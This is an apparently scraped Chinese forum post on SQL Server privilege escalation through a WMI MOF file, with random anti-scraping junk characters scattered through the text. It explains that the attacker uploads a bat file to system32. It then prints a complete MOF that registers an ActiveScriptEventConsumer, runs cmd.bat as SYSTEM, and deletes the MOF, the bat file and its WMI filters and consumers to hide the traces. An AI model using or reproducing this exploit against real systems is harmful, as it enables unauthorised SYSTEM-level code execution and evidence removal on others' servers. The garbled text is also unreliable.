这个sql提权MOF需要运行 system下的文件,不能定义路径。
7 }$ b7 {1 e o2 O+ n+ e: A需要将要运行的命令写入到bat上传到system32目录,然后执行。4 P9 c9 I3 S8 O) s" N& }( y
1 f. v+ w+ Y7 K3 x! R这个sql提权MOF需要运行 system下的文件,不能定义路径。3 A6 z( S, p% W
需要将要运行的命令写入到bat上传到system32目录,然后执行。# | e7 O0 d Y% P* W
& y$ u0 a) Z+ Z: d4 ]8 Z: F#pragma d% E- y9 {' K+ H2 {
namespace("\\\\.\\root\\cimv2")# l+ g+ F6 t1 F- M
class
2 } R& f1 J" k+ _: C MyClass547; Q; M3 {4 |+ L0 d! C$ j- i1 E
{ [key]2 g# \) L( g% ^* }# i
string/ a0 }; r3 l! p' q; D* R) G
Name;, L. W! C; f4 l5 P7 ^% e
};7 p2 X8 C* Z$ P5 C2 d
class
1 K3 v( b0 }- u, _& s ActiveScriptEventConsumer
( }" N: W( G: I : __EventConsumer { [key]
q; W% C; Z4 [ string5 K1 o" W9 L" D
Name; [not_null]! @( d. u$ u$ Z: @4 v0 N5 f
string
, j( S. M* H1 x# O+ B& J, A ScriptingEngine; string
b7 m7 R" |/ j( u3 K. E1 N; M ScriptFileName; [template]9 z1 e% q& N: g* a
string* u: V0 R h- y- ^
ScriptText; uint32 KillTimeout;
) @! }$ r' o2 Q9 r! Q }; instance of __Win32Provider as $P {
& S% Y' M: D( j' K" z+ v( p) v Name
+ K: u& K6 O, i: k0 H/ |6 a =. F# M& u' y) J1 E$ B) N
"ActiveScriptEventConsumer"; CLSID =
% J$ v6 I5 O4 L# M% K7 G; b "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
1 X& S& m% N! C4 Q* g, A+ e8 z PerUserInitialization6 c2 k d7 u, o- e% ]
= TRUE;* X* g6 b' I* z
}; instance of __EventConsumerProviderRegistration { Provider
( d# }; A' A7 O. m6 g* A = $P; ConsumerClassNames
$ N% Z" p0 ^ Y* V( T =( v% C5 ]3 B8 P8 [" H+ a- n1 o1 Z
{"ActiveScriptEventConsumer"};
+ W6 r$ S3 j9 E& H/ j; `4 a& q };
?" E% }6 ^' x9 l6 d* y& Y Instance of ActiveScriptEventConsumer
" r9 @' k. \0 ^# }4 P0 q! }6 ^ as $cons { Name
3 }8 u# x9 t& E4 W =9 V. Q3 I% P/ W4 J4 ?9 Z
"ASEC"; ScriptingEngine( E- A3 j9 c; c( P, n3 J
=
' ]4 N3 D& h. b9 o! w" a "JScript"; ScriptText
, Q3 p6 |. F2 r9 Y =6 {9 f1 W' r: E0 I' C& i4 S# |. S
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
; T' W. b/ A0 M9 [# z" y+ h( ]8 _ Instance of ActiveScriptEventConsumer: v E# l, Q' a) [& D# V
as $cons2 { Name
# m; D8 j6 J E5 j" ^+ B( u# l =) d4 x+ R! {: Z# J, r3 G1 h
"qndASEC"; ScriptingEngine7 G4 ?2 q0 W. O6 b
=
: [" N( a, X+ H' t "JScript"; ScriptText
- l4 G9 ?& c; h =2 M# m0 V" f: _# ^
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
# R( G* P- ?( P( V6 L }; instance of __EventFilter as $Filt { Name. F4 g! j" j* E9 N$ ~7 z; o& T
=
: Z8 a6 T, Q7 G/ H3 i "instfilt"; Query
8 A3 r( w9 _! g w/ n =5 I% A D- D' y
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
, N5 a# H+ [& Q% f: a( p =, `: `. c# G7 f% U) A: b, }
"WQL"; }; instance of __EventFilter as $Filt2 { Name' @* z) q: E9 x) j2 g/ B. o& G
=; r" ^2 r o" M! j8 Y
"qndfilt"; Query! [( f0 t% C5 E2 q6 w) G, k, v# [
=
) u% F9 s8 C; o/ O1 E1 W ?" h "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage, y9 \: f( s0 S6 q' ?7 c9 S
=
3 K4 D9 x1 J! T# R" a* S: J" H "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
9 d' K3 A# P# w: B( V = $cons; Filter( J5 F3 L ~+ {& E! S
= $Filt;0 X: }$ B; a$ K. [ E% j
}; instance of __FilterToConsumerBinding as $bind2 { Consumer0 h6 U! |2 h) |: h
= $cons2; Filter
- J/ k3 o: U) F! \0 @/ D3 Q = $Filt2;
h1 L4 {7 r! w% F }; instance of MyClass547
3 l3 r. a+ @8 G T6 G, b as $MyClass { Name0 v! w; J/ l: u$ ]$ y
=
S. G# T Z3 _7 `: J% }5 V "ClassConsumer";, v# M! N3 Q% m6 J: ?& j
}; |